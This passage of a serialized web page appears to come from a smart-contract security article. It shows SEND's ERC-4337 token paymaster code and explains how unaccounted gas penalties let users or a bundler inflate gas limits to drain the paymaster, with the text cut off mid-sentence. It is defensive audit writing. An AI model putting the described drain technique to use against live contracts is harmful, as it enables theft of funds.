maxFeePerGas);\n",{"type":22,"tag":264,"props":104695,"children":104696},{"class":1534,"line":4980},[104697,104702,104706],{"type":22,"tag":264,"props":104698,"children":104699},{"style":4284},[104700],{"type":27,"value":104701},"            // ",{"type":22,"tag":264,"props":104703,"children":104704},{"style":4293},[104705],{"type":27,"value":68082},{"type":22,"tag":264,"props":104707,"children":104708},{"style":4284},[104709],{"type":27,"value":104710},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":22,"tag":264,"props":104712,"children":104713},{"class":1534,"line":4989},[104714,104718,104723,104727,104732,104736,104741,104745],{"type":22,"tag":264,"props":104715,"children":104716},{"style":4722},[104717],{"type":27,"value":104449},{"type":22,"tag":264,"props":104719,"children":104720},{"style":1539},[104721],{"type":27,"value":104722}," cachedPriceWithMarkup ",{"type":22,"tag":264,"props":104724,"children":104725},{"style":4309},[104726],{"type":27,"value":429},{"type":22,"tag":264,"props":104728,"children":104729},{"style":1539},[104730],{"type":27,"value":104731}," cachedPrice ",{"type":22,"tag":264,"props":104733,"children":104734},{"style":4309},[104735],{"type":27,"value":5865},{"type":22,"tag":264,"props":104737,"children":104738},{"style":1539},[104739],{"type":27,"value":104740}," DENOM ",{"type":22,"tag":264,"props":104742,"children":104743},{"style":4309},[104744],{"type":27,"value":2891},{"type":22,"tag":264,"props":104746,"children":104747},{"style":1539},[104748],{"type":27,"value":104749}," priceMarkup;\n",{"type":22,"tag":264,"props":104751,"children":104752},{"class":1534,"line":4998},[104753,104757,104762,104766,104770],{"type":22,"tag":264,"props":104754,"children":104755},{"style":4328},[104756],{"type":27,"value":60122},{"type":22,"tag":264,"props":104758,"children":104759},{"style":1539},[104760],{"type":27,"value":104761}," (dataLength ",{"type":22,"tag":264,"props":104763,"children":104764},{"style":4309},[104765],{"type":27,"value":9870},{"type":22,"tag":264,"props":104767,"children":104768},{"style":4344},[104769],{"type":27,"value":104552},{"type":22,"tag":264,"props":104771,"children":104772},{"style":1539},[104773],{"type":27,"value":16103},{"type":22,"tag":264,"props":104775,"children":104776},{"class":1534,"line":5067},[104777,104782,104787],{"type":22,"tag":264,"props":104778,"children":104779},{"style":4722},[104780],{"type":27,"value":104781},"                uint256",{"type":22,"tag":264,"props":104783,"children":104784},{"style":1539},[104785],{"type":27,"value":104786}," clientSuppliedPrice ",{"type":22,"tag":264,"props":104788,"children":104789},{"style":4309},[104790],{"type":27,"value":15992},{"type":22,"tag":264,"props":104792,"children":104793},{"class":1534,"line":5075},[104794,104799,104803,104807,104812,104816,104821,104825,104829],{"type":22,"tag":264,"props":104795,"children":104796},{"style":4722},[104797],{"type":27,"value":104798},"                    uint256",{"type":22,"tag":264,"props":104800,"children":104801},{"style":1539},[104802],{"type":27,"value":2660},{"type":22,"tag":264,"props":104804,"children":104805},{"style":4722},[104806],{"type":27,"value":104347},{"type":22,"tag":264,"props":104808,"children":104809},{"style":1539},[104810],{"type":27,"value":104811},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":22,"tag":264,"props":104813,"children":104814},{"style":4309},[104815],{"type":27,"value":5785},{"type":22,"tag":264,"props":104817,"children":104818},{"style":1539},[104819],{"type":27,"value":104820},"PAYMASTER_DATA_OFFSET ",{"type":22,"tag":264,"props":104822,"children":104823},{"style":4309},[104824],{"type":27,"value":673},{"type":22,"tag":264,"props":104826,"children":104827},{"style":4344},[104828],{"type":27,"value":104552},{"type":22,"tag":264,"props":104830,"children":104831},{"style":1539},[104832],{"type":27,"value":104833},"]));\n",{"type":22,"tag":264,"props":104835,"children":104836},{"class":1534,"line":5105},[104837,104842,104847,104851],{"type":22,"tag":264,"props":104838,"children":104839},{"style":4328},[104840],{"type":27,"value":104841},"                if",{"type":22,"tag":264,"props":104843,"children":104844},{"style":1539},[104845],{"type":27,"value":104846}," (clientSuppliedPrice ",{"type":22,"tag":264,"props":104848,"children":104849},{"style":4309},[104850],{"type":27,"value":7097},{"type":22,"tag":264,"props":104852,"children":104853},{"style":1539},[104854],{"type":27,"value":104855}," cachedPriceWithMarkup) {\n",{"type":22,"tag":264,"props":104857,"children":104858},{"class":1534,"line":5113},[104859,104864,104868],{"type":22,"tag":264,"props":104860,"children":104861},{"style":4284},[104862],{"type":27,"value":104863},"                    // ",{"type":22,"tag":264,"props":104865,"children":104866},{"style":4293},[104867],{"type":27,"value":68082},{"type":22,"tag":264,"props":104869,"children":104870},{"style":4284},[104871],{"type":27,"value":104872},": smaller number means 'more native asset per token'\n",{"type":22,"tag":264,"props":104874,"children":104875},{"class":1534,"line":5145},[104876,104881,104885],{"type":22,"tag":264,"props":104877,"children":104878},{"style":1539},[104879],{"type":27,"value":104880},"                    cachedPriceWithMarkup ",{"type":22,"tag":264,"props":104882,"children":104883},{"style":4309},[104884],{"type":27,"value":429},{"type":22,"tag":264,"props":104886,"children":104887},{"style":1539},[104888],{"type":27,"value":104889}," clientSuppliedPrice;\n",{"type":22,"tag":264,"props":104891,"children":104892},{"class":1534,"line":5153},[104893],{"type":22,"tag":264,"props":104894,"children":104895},{"style":1539},[104896],{"type":27,"value":72395},{"type":22,"tag":264,"props":104898,"children":104899},{"class":1534,"line":5213},[104900],{"type":22,"tag":264,"props":104901,"children":104902},{"style":1539},[104903],{"type":27,"value":60206},{"type":22,"tag":264,"props":104905,"children":104906},{"class":1534,"line":10343},[104907,104911,104916,104920,104925],{"type":22,"tag":264,"props":104908,"children":104909},{"style":4722},[104910],{"type":27,"value":104449},{"type":22,"tag":264,"props":104912,"children":104913},{"style":1539},[104914],{"type":27,"value":104915}," tokenAmount ",{"type":22,"tag":264,"props":104917,"children":104918},{"style":4309},[104919],{"type":27,"value":429},{"type":22,"tag":264,"props":104921,"children":104922},{"style":4401},[104923],{"type":27,"value":104924}," weiToToken",{"type":22,"tag":264,"props":104926,"children":104927},{"style":1539},[104928],{"type":27,"value":104929},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":22,"tag":264,"props":104931,"children":104932},{"class":1534,"line":10361},[104933,104938,104942],{"type":22,"tag":264,"props":104934,"children":104935},{"style":1539},[104936],{"type":27,"value":104937},"            tokenAmount ",{"type":22,"tag":264,"props":104939,"children":104940},{"style":4309},[104941],{"type":27,"value":69761},{"type":22,"tag":264,"props":104943,"children":104944},{"style":1539},[104945],{"type":27,"value":104946}," baseFee;\n",{"type":22,"tag":264,"props":104948,"children":104949},{"class":1534,"line":10406},[104950,104955,104960,104965,104969,104973,104977],{"type":22,"tag":264,"props":104951,"children":104952},{"style":1539},[104953],{"type":27,"value":104954},"            SafeERC20.",{"type":22,"tag":264,"props":104956,"children":104957},{"style":4401},[104958],{"type":27,"value":104959},"safeTransferFrom",{"type":22,"tag":264,"props":104961,"children":104962},{"style":1539},[104963],{"type":27,"value":104964},"(token, userOp.sender, ",{"type":22,"tag":264,"props":104966,"children":104967},{"style":4722},[104968],{"type":27,"value":33956},{"type":22,"tag":264,"props":104970,"children":104971},{"style":1539},[104972],{"type":27,"value":2660},{"type":22,"tag":264,"props":104974,"children":104975},{"style":4293},[104976],{"type":27,"value":18996},{"type":22,"tag":264,"props":104978,"children":104979},{"style":1539},[104980],{"type":27,"value":104981},"), tokenAmount);\n",{"type":22,"tag":264,"props":104983,"children":104984},{"class":1534,"line":10512},[104985,104990,104994,104999,105003,105008],{"type":22,"tag":264,"props":104986,"children":104987},{"style":1539},[104988],{"type":27,"value":104989},"            context ",{"type":22,"tag":264,"props":104991,"children":104992},{"style":4309},[104993],{"type":27,"value":429},{"type":22,"tag":264,"props":104995,"children":104996},{"style":4293},[104997],{"type":27,"value":104998}," abi",{"type":22,"tag":264,"props":105000,"children":105001},{"style":1539},[105002],{"type":27,"value":210},{"type":22,"tag":264,"props":105004,"children":105005},{"style":4401},[105006],{"type":27,"value":105007},"encode",{"type":22,"tag":264,"props":105009,"children":105010},{"style":1539},[105011],{"type":27,"value":105012},"(tokenAmount, userOp.sender);\n",{"type":22,"tag":264,"props":105014,"children":105015},{"class":1534,"line":24810},[105016,105021],{"type":22,"tag":264,"props":105017,"children":105018},{"style":1539},[105019],{"type":27,"value":105020},"            validationResult ",{"type":22,"tag":264,"props":105022,"children":105023},{"style":4309},[105024],{"type":27,"value":15992},{"type":22,"tag":264,"props":105026,"children":105027},{"class":1534,"line":24845},[105028,105033,105037,105041,105045,105050,105055,105059,105064,105068],{"type":22,"tag":264,"props":105029,"children":105030},{"style":4401},[105031],{"type":27,"value":105032},"                _packValidationData",{"type":22,"tag":264,"props":105034,"children":105035},{"style":1539},[105036],{"type":27,"value":2660},{"type":22,"tag":264,"props":105038,"children":105039},{"style":4293},[105040],{"type":27,"value":9469},{"type":22,"tag":264,"props":105042,"children":105043},{"style":1539},[105044],{"type":27,"value":4380},{"type":22,"tag":264,"props":105046,"children":105047},{"style":4722},[105048],{"type":27,"value":105049},"uint48",{"type":22,"tag":264,"props":105051,"children":105052},{"style":1539},[105053],{"type":27,"value":105054},"(cachedPriceTimestamp ",{"type":22,"tag":264,"props":105056,"children":105057},{"style":4309},[105058],{"type":27,"value":673},{"type":22,"tag":264,"props":105060,"children":105061},{"style":1539},[105062],{"type":27,"value":105063}," tokenPaymasterConfig.priceMaxAge), ",{"type":22,"tag":264,"props":105065,"children":105066},{"style":4344},[105067],{"type":27,"value":5334},{"type":22,"tag":264,"props":105069,"children":105070},{"style":1539},[105071],{"type":27,"value":5142},{"type":22,"tag":264,"props":105073,"children":105074},{"class":1534,"line":24853},[105075],{"type":22,"tag":264,"props":105076,"children":105077},{"style":1539},[105078],{"type":27,"value":4651},{"type":22,"tag":264,"props":105080,"children":105081},{"class":1534,"line":24861},[105082],{"type":22,"tag":264,"props":105083,"children":105084},{"style":1539},[105085],{"type":27,"value":1674},{"type":22,"tag":264,"props":105087,"children":105088},{"class":1534,"line":24870},[105089],{"type":22,"tag":264,"props":105090,"children":105091},{"style":1539},[105092],{"type":27,"value":11616},{"type":22,"tag":264,"props":105094,"children":105095},{"class":1534,"line":24912},[105096,105100,105105,105109,105114,105118,105122,105126,105130,105134,105138,105143,105147,105151,105156],{"type":22,"tag":264,"props":105097,"children":105098},{"style":4293},[105099],{"type":27,"value":91154},{"type":22,"tag":264,"props":105101,"children":105102},{"style":4401},[105103],{"type":27,"value":105104}," _postOp",{"type":22,"tag":264,"props":105106,"children":105107},{"style":1539},[105108],{"type":27,"value":2660},{"type":22,"tag":264,"props":105110,"children":105111},{"style":4293},[105112],{"type":27,"value":105113},"PostOpMode",{"type":22,"tag":264,"props":105115,"children":105116},{"style":1539},[105117],{"type":27,"value":4380},{"type":22,"tag":264,"props":105119,"children":105120},{"style":4722},[105121],{"type":27,"value":85153},{"type":22,"tag":264,"props":105123,"children":105124},{"style":4293},[105125],{"type":27,"value":104333},{"type":22,"tag":264,"props":105127,"children":105128},{"style":1549},[105129],{"type":27,"value":77666},{"type":22,"tag":264,"props":105131,"children":105132},{"style":1539},[105133],{"type":27,"value":4380},{"type":22,"tag":264,"props":105135,"children":105136},{"style":4722},[105137],{"type":27,"value":47488},{"type":22,"tag":264,"props":105139,"children":105140},{"style":1549},[105141],{"type":27,"value":105142}," actualGasCost",{"type":22,"tag":264,"props":105144,"children":105145},{"style":1539},[105146],{"type":27,"value":4380},{"type":22,"tag":264,"props":105148,"children":105149},{"style":4722},[105150],{"type":27,"value":47488},{"type":22,"tag":264,"props":105152,"children":105153},{"style":1549},[105154],{"type":27,"value":105155}," actualUserOpFeePerGas",{"type":22,"tag":264,"props":105157,"children":105158},{"style":1539},[105159],{"type":27,"value":4463},{"type":22,"tag":264,"props":105161,"children":105162},{"class":1534,"line":24945},[105163],{"type":22,"tag":264,"props":105164,"children":105165},{"style":4293},[105166],{"type":27,"value":104372},{"type":22,"tag":264,"props":105168,"children":105169},{"class":1534,"line":24953},[105170],{"type":22,"tag":264,"props":105171,"children":105172},{"style":4293},[105173],{"type":27,"value":104380},{"type":22,"tag":264,"props":105175,"children":105176},{"class":1534,"line":24961},[105177],{"type":22,"tag":264,"props":105178,"children":105179},{"style":1539},[105180],{"type":27,"value":1566},{"type":22,"tag":264,"props":105182,"children":105183},{"class":1534,"line":24970},[105184,105188],{"type":22,"tag":264,"props":105185,"children":105186},{"style":4328},[105187],{"type":27,"value":104437},{"type":22,"tag":264,"props":105189,"children":105190},{"style":1539},[105191],{"type":27,"value":4594},{"type":22,"tag":264,"props":105193,"children":105194},{"class":1534,"line":25046},[105195,105199,105203,105207],{"type":22,"tag":264,"props":105196,"children":105197},{"style":4722},[105198],{"type":27,"value":104449},{"type":22,"tag":264,"props":105200,"children":105201},{"style":1539},[105202],{"type":27,"value":104454},{"type":22,"tag":264,"props":105204,"children":105205},{"style":4309},[105206],{"type":27,"value":429},{"type":22,"tag":264,"props":105208,"children":105209},{"style":1539},[105210],{"type":27,"value":104463},{"type":22,"tag":264,"props":105212,"children":105213},{"class":1534,"line":25079},[105214,105218,105222,105226],{"type":22,"tag":264,"props":105215,"children":105216},{"style":4722},[105217],{"type":27,"value":104449},{"type":22,"tag":264,"props":105219,"children":105220},{"style":1539},[105221],{"type":27,"value":104475},{"type":22,"tag":264,"props":105223,"children":105224},{"style":4309},[105225],{"type":27,"value":429},{"type":22,"tag":264,"props":105227,"children":105228},{"style":1539},[105229],{"type":27,"value":104484},{"type":22,"tag":264,"props":105231,"children":105232},{"class":1534,"line":25087},[105233,105238,105242,105247,105251,105256,105260,105264,105268,105273,105278,105282,105286,105290],{"type":22,"tag":264,"props":105234,"children":105235},{"style":1539},[105236],{"type":27,"value":105237},"            (",{"type":22,"tag":264,"props":105239,"children":105240},{"style":4722},[105241],{"type":27,"value":47488},{"type":22,"tag":264,"props":105243,"children":105244},{"style":1539},[105245],{"type":27,"value":105246}," preCharge, ",{"type":22,"tag":264,"props":105248,"children":105249},{"style":4722},[105250],{"type":27,"value":33956},{"type":22,"tag":264,"props":105252,"children":105253},{"style":1539},[105254],{"type":27,"value":105255}," userOpSender) ",{"type":22,"tag":264,"props":105257,"children":105258},{"style":4309},[105259],{"type":27,"value":429},{"type":22,"tag":264,"props":105261,"children":105262},{"style":4293},[105263],{"type":27,"value":104998},{"type":22,"tag":264,"props":105265,"children":105266},{"style":1539},[105267],{"type":27,"value":210},{"type":22,"tag":264,"props":105269,"children":105270},{"style":4401},[105271],{"type":27,"value":105272},"decode",{"type":22,"tag":264,"props":105274,"children":105275},{"style":1539},[105276],{"type":27,"value":105277},"(context, (",{"type":22,"tag":264,"props":105279,"children":105280},{"style":4722},[105281],{"type":27,"value":47488},{"type":22,"tag":264,"props":105283,"children":105284},{"style":1539},[105285],{"type":27,"value":4380},{"type":22,"tag":264,"props":105287,"children":105288},{"style":4722},[105289],{"type":27,"value":33956},{"type":22,"tag":264,"props":105291,"children":105292},{"style":1539},[105293],{"type":27,"value":8516},{"type":22,"tag":264,"props":105295,"children":105296},{"class":1534,"line":25095},[105297,105302,105307,105312],{"type":22,"tag":264,"props":105298,"children":105299},{"style":1539},[105300],{"type":27,"value":105301},"            preCharge ",{"type":22,"tag":264,"props":105303,"children":105304},{"style":4309},[105305],{"type":27,"value":105306},"-=",{"type":22,"tag":264,"props":105308,"children":105309},{"style":1539},[105310],{"type":27,"value":105311}," baseFee; ",{"type":22,"tag":264,"props":105313,"children":105314},{"style":4284},[105315],{"type":27,"value":105316},"// don't refund the base fee\n",{"type":22,"tag":264,"props":105318,"children":105319},{"class":1534,"line":25132},[105320,105324,105329,105333,105338,105342,105346],{"type":22,"tag":264,"props":105321,"children":105322},{"style":4722},[105323],{"type":27,"value":104449},{"type":22,"tag":264,"props":105325,"children":105326},{"style":1539},[105327],{"type":27,"value":105328}," _cachedPrice ",{"type":22,"tag":264,"props":105330,"children":105331},{"style":4309},[105332],{"type":27,"value":429},{"type":22,"tag":264,"props":105334,"children":105335},{"style":4401},[105336],{"type":27,"value":105337}," updateCachedPrice",{"type":22,"tag":264,"props":105339,"children":105340},{"style":1539},[105341],{"type":27,"value":2660},{"type":22,"tag":264,"props":105343,"children":105344},{"style":4293},[105345],{"type":27,"value":9469},{"type":22,"tag":264,"props":105347,"children":105348},{"style":1539},[105349],{"type":27,"value":5142},{"type":22,"tag":264,"props":105351,"children":105352},{"class":1534,"line":25145},[105353,105357,105361],{"type":22,"tag":264,"props":105354,"children":105355},{"style":4284},[105356],{"type":27,"value":104701},{"type":22,"tag":264,"props":105358,"children":105359},{"style":4293},[105360],{"type":27,"value":68082},{"type":22,"tag":264,"props":105362,"children":105363},{"style":4284},[105364],{"type":27,"value":104710},{"type":22,"tag":264,"props":105366,"children":105367},{"class":1534,"line":25158},[105368,105372,105376,105380,105384,105388,105392,105396],{"type":22,"tag":264,"props":105369,"children":105370},{"style":4722},[105371],{"type":27,"value":104449},{"type":22,"tag":264,"props":105373,"children":105374},{"style":1539},[105375],{"type":27,"value":104722},{"type":22,"tag":264,"props":105377,"children":105378},{"style":4309},[105379],{"type":27,"value":429},{"type":22,"tag":264,"props":105381,"children":105382},{"style":1539},[105383],{"type":27,"value":105328},{"type":22,"tag":264,"props":105385,"children":105386},{"style":4309},[105387],{"type":27,"value":5865},{"type":22,"tag":264,"props":105389,"children":105390},{"style":1539},[105391],{"type":27,"value":104740},{"type":22,"tag":264,"props":105393,"children":105394},{"style":4309},[105395],{"type":27,"value":2891},{"type":22,"tag":264,"props":105397,"children":105398},{"style":1539},[105399],{"type":27,"value":104749},{"type":22,"tag":264,"props":105401,"children":105402},{"class":1534,"line":25171},[105403],{"type":22,"tag":264,"props":105404,"children":105405},{"style":4284},[105406],{"type":27,"value":105407},"            // Refund tokens based on actual gas cost\n",{"type":22,"tag":264,"props":105409,"children":105410},{"class":1534,"line":25225},[105411,105415,105420,105424,105429,105433,105438,105442],{"type":22,"tag":264,"props":105412,"children":105413},{"style":4722},[105414],{"type":27,"value":104449},{"type":22,"tag":264,"props":105416,"children":105417},{"style":1539},[105418],{"type":27,"value":105419}," actualChargeNative ",{"type":22,"tag":264,"props":105421,"children":105422},{"style":4309},[105423],{"type":27,"value":429},{"type":22,"tag":264,"props":105425,"children":105426},{"style":1539},[105427],{"type":27,"value":105428}," actualGasCost ",{"type":22,"tag":264,"props":105430,"children":105431},{"style":4309},[105432],{"type":27,"value":673},{"type":22,"tag":264,"props":105434,"children":105435},{"style":1539},[105436],{"type":27,"value":105437}," tokenPaymasterConfig.refundPostopCost ",{"type":22,"tag":264,"props":105439,"children":105440},{"style":4309},[105441],{"type":27,"value":5865},{"type":22,"tag":264,"props":105443,"children":105444},{"style":1539},[105445],{"type":27,"value":105446}," actualUserOpFeePerGas;\n",{"type":22,"tag":264,"props":105448,"children":105449},{"class":1534,"line":25234},[105450,105454,105459,105463,105467],{"type":22,"tag":264,"props":105451,"children":105452},{"style":4722},[105453],{"type":27,"value":104449},{"type":22,"tag":264,"props":105455,"children":105456},{"style":1539},[105457],{"type":27,"value":105458}," actualTokenNeeded ",{"type":22,"tag":264,"props":105460,"children":105461},{"style":4309},[105462],{"type":27,"value":429},{"type":22,"tag":264,"props":105464,"children":105465},{"style":4401},[105466],{"type":27,"value":104924},{"type":22,"tag":264,"props":105468,"children":105469},{"style":1539},[105470],{"type":27,"value":105471},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":22,"tag":264,"props":105473,"children":105474},{"class":1534,"line":33596},[105475,105479,105484,105488],{"type":22,"tag":264,"props":105476,"children":105477},{"style":4328},[105478],{"type":27,"value":60122},{"type":22,"tag":264,"props":105480,"children":105481},{"style":1539},[105482],{"type":27,"value":105483}," (preCharge ",{"type":22,"tag":264,"props":105485,"children":105486},{"style":4309},[105487],{"type":27,"value":11760},{"type":22,"tag":264,"props":105489,"children":105490},{"style":1539},[105491],{"type":27,"value":105492}," actualTokenNeeded) {\n",{"type":22,"tag":264,"props":105494,"children":105495},{"class":1534,"line":33617},[105496],{"type":22,"tag":264,"props":105497,"children":105498},{"style":4284},[105499],{"type":27,"value":105500},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":22,"tag":264,"props":105502,"children":105503},{"class":1534,"line":82277},[105504,105509,105514,105519,105523],{"type":22,"tag":264,"props":105505,"children":105506},{"style":1539},[105507],{"type":27,"value":105508},"                SafeERC20.",{"type":22,"tag":264,"props":105510,"children":105511},{"style":4401},[105512],{"type":27,"value":105513},"safeTransfer",{"type":22,"tag":264,"props":105515,"children":105516},{"style":1539},[105517],{"type":27,"value":105518},"(token, userOpSender, preCharge ",{"type":22,"tag":264,"props":105520,"children":105521},{"style":4309},[105522],{"type":27,"value":5621},{"type":22,"tag":264,"props":105524,"children":105525},{"style":1539},[105526],{"type":27,"value":105527}," actualTokenNeeded);\n",{"type":22,"tag":264,"props":105529,"children":105530},{"class":1534,"line":82290},[105531,105535,105539,105543,105547,105551],{"type":22,"tag":264,"props":105532,"children":105533},{"style":1539},[105534],{"type":27,"value":71918},{"type":22,"tag":264,"props":105536,"children":105537},{"style":4328},[105538],{"type":27,"value":4619},{"type":22,"tag":264,"props":105540,"children":105541},{"style":4328},[105542],{"type":27,"value":17088},{"type":22,"tag":264,"props":105544,"children":105545},{"style":1539},[105546],{"type":27,"value":105483},{"type":22,"tag":264,"props":105548,"children":105549},{"style":4309},[105550],{"type":27,"value":7097},{"type":22,"tag":264,"props":105552,"children":105553},{"style":1539},[105554],{"type":27,"value":105492},{"type":22,"tag":264,"props":105556,"children":105557},{"class":1534,"line":82298},[105558],{"type":22,"tag":264,"props":105559,"children":105560},{"style":4284},[105561],{"type":27,"value":105562},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":22,"tag":264,"props":105564,"children":105565},{"class":1534,"line":82306},[105566],{"type":22,"tag":264,"props":105567,"children":105568},{"style":4284},[105569],{"type":27,"value":105570},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":22,"tag":264,"props":105572,"children":105573},{"class":1534,"line":82314},[105574,105578,105582,105587,105591,105595,105599,105604,105608],{"type":22,"tag":264,"props":105575,"children":105576},{"style":1539},[105577],{"type":27,"value":105508},{"type":22,"tag":264,"props":105579,"children":105580},{"style":4401},[105581],{"type":27,"value":104959},{"type":22,"tag":264,"props":105583,"children":105584},{"style":1539},[105585],{"type":27,"value":105586},"(token, userOpSender, ",{"type":22,"tag":264,"props":105588,"children":105589},{"style":4722},[105590],{"type":27,"value":33956},{"type":22,"tag":264,"props":105592,"children":105593},{"style":1539},[105594],{"type":27,"value":2660},{"type":22,"tag":264,"props":105596,"children":105597},{"style":4293},[105598],{"type":27,"value":18996},{"type":22,"tag":264,"props":105600,"children":105601},{"style":1539},[105602],{"type":27,"value":105603},"), actualTokenNeeded ",{"type":22,"tag":264,"props":105605,"children":105606},{"style":4309},[105607],{"type":27,"value":5621},{"type":22,"tag":264,"props":105609,"children":105610},{"style":1539},[105611],{"type":27,"value":105612}," preCharge);\n",{"type":22,"tag":264,"props":105614,"children":105615},{"class":1534,"line":82354},[105616],{"type":22,"tag":264,"props":105617,"children":105618},{"style":1539},[105619],{"type":27,"value":60206},{"type":22,"tag":264,"props":105621,"children":105622},{"class":1534,"line":82362},[105623],{"type":22,"tag":264,"props":105624,"children":105625},{"emptyLinePlaceholder":17},[105626],{"type":27,"value":4986},{"type":22,"tag":264,"props":105628,"children":105629},{"class":1534,"line":89548},[105630,105634,105639,105643,105647],{"type":22,"tag":264,"props":105631,"children":105632},{"style":4328},[105633],{"type":27,"value":60122},{"type":22,"tag":264,"props":105635,"children":105636},{"style":1539},[105637],{"type":27,"value":105638}," (baseFee ",{"type":22,"tag":264,"props":105640,"children":105641},{"style":4309},[105642],{"type":27,"value":11760},{"type":22,"tag":264,"props":105644,"children":105645},{"style":4344},[105646],{"type":27,"value":4347},{"type":22,"tag":264,"props":105648,"children":105649},{"style":1539},[105650],{"type":27,"value":16103},{"type":22,"tag":264,"props":105652,"children":105653},{"class":1534,"line":89556},[105654,105658,105662],{"type":22,"tag":264,"props":105655,"children":105656},{"style":1539},[105657],{"type":27,"value":105508},{"type":22,"tag":264,"props":105659,"children":105660},{"style":4401},[105661],{"type":27,"value":105513},{"type":22,"tag":264,"props":105663,"children":105664},{"style":1539},[105665],{"type":27,"value":105666},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":22,"tag":264,"props":105668,"children":105669},{"class":1534,"line":102898},[105670],{"type":22,"tag":264,"props":105671,"children":105672},{"style":1539},[105673],{"type":27,"value":60206},{"type":22,"tag":264,"props":105675,"children":105676},{"class":1534,"line":102906},[105677],{"type":22,"tag":264,"props":105678,"children":105679},{"emptyLinePlaceholder":17},[105680],{"type":27,"value":4986},{"type":22,"tag":264,"props":105682,"children":105683},{"class":1534,"line":102914},[105684,105689,105694],{"type":22,"tag":264,"props":105685,"children":105686},{"style":4328},[105687],{"type":27,"value":105688},"            emit",{"type":22,"tag":264,"props":105690,"children":105691},{"style":4401},[105692],{"type":27,"value":105693}," UserOperationSponsored",{"type":22,"tag":264,"props":105695,"children":105696},{"style":1539},[105697],{"type":27,"value":105698},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":22,"tag":264,"props":105700,"children":105701},{"class":1534,"line":102922},[105702,105707],{"type":22,"tag":264,"props":105703,"children":105704},{"style":4401},[105705],{"type":27,"value":105706},"            refillEntryPointDeposit",{"type":22,"tag":264,"props":105708,"children":105709},{"style":1539},[105710],{"type":27,"value":105711},"(_cachedPrice);\n",{"type":22,"tag":264,"props":105713,"children":105714},{"class":1534,"line":102950},[105715],{"type":22,"tag":264,"props":105716,"children":105717},{"style":1539},[105718],{"type":27,"value":4651},{"type":22,"tag":264,"props":105720,"children":105722},{"class":1534,"line":105721},67,[105723],{"type":22,"tag":264,"props":105724,"children":105725},{"style":1539},[105726],{"type":27,"value":1674},{"type":22,"tag":264,"props":105728,"children":105730},{"class":1534,"line":105729},68,[105731],{"type":22,"tag":264,"props":105732,"children":105733},{"style":1539},[105734],{"type":27,"value":1692},{"type":22,"tag":23,"props":105736,"children":105737},{},[105738,105740,105746,105748,105753,105755,105761],{"type":27,"value":105739},"Looking at the code above, during ",{"type":22,"tag":257,"props":105741,"children":105743},{"className":105742},[],[105744],{"type":27,"value":105745},"validatePaymasterUserOp",{"type":27,"value":105747},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":22,"tag":257,"props":105749,"children":105751},{"className":105750},[],[105752],{"type":27,"value":103804},{"type":27,"value":105754}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":22,"tag":257,"props":105756,"children":105758},{"className":105757},[],[105759],{"type":27,"value":105760},"postOp",{"type":27,"value":105762},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":22,"tag":23,"props":105764,"children":105765},{},[105766,105768,105773,105775,105782],{"type":27,"value":105767},"However, there is a critical oversight: ",{"type":22,"tag":242,"props":105769,"children":105770},{},[105771],{"type":27,"value":105772},"the code does not account for gas penalties",{"type":27,"value":105774},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":22,"tag":69,"props":105776,"children":105779},{"href":105777,"rel":105778},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[73],[105780],{"type":27,"value":105781},"penalties incurred",{"type":27,"value":105783}," from differences between the execution gas limit and actual execution gas.",{"type":22,"tag":23,"props":105785,"children":105786},{},[105787],{"type":27,"value":105788},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":22,"tag":23,"props":105790,"children":105791},{},[105792,105794,105799],{"type":27,"value":105793},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":22,"tag":257,"props":105795,"children":105797},{"className":105796},[],[105798],{"type":27,"value":103503},{"type":27,"value":105800}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":22,"tag":169,"props":105802,"children":105804},{"id":105803},"incorrect-erc-20-handling",[105805],{"type":22,"tag":242,"props":105806,"children":105807},{},[105808],{"type":27,"value":105809},"Incorrect ERC-20 Handling",{"type":22,"tag":23,"props":105811,"children":105812},{},[105813],{"type":27,"value":105814},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":22,"tag":23,"props":105816,"children":105817},{},[105818,105819,105824,105826,105831],{"type":27,"value":46616},{"type":22,"tag":257,"props":105820,"children":105822},{"className":105821},[],[105823],{"type":27,"value":103584},{"type":27,"value":105825}," flow above, we can see that paymasters have two key interaction points during a ",{"type":22,"tag":257,"props":105827,"children":105829},{"className":105828},[],[105830],{"type":27,"value":103503},{"type":27,"value":105832},"'s lifecycle:",{"type":22,"tag":1867,"props":105834,"children":105835},{},[105836,105846],{"type":22,"tag":1871,"props":105837,"children":105838},{},[105839,105841],{"type":27,"value":105840},"During validation via ",{"type":22,"tag":257,"props":105842,"children":105844},{"className":105843},[],[105845],{"type":27,"value":103691},{"type":22,"tag":1871,"props":105847,"children":105848},{},[105849,105851],{"type":27,"value":105850},"After execution via ",{"type":22,"tag":257,"props":105852,"children":105854},{"className":105853},[],[105855],{"type":27,"value":103702},{"type":22,"tag":23,"props":105857,"children":105858},{},[105859],{"type":27,"value":105860},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in 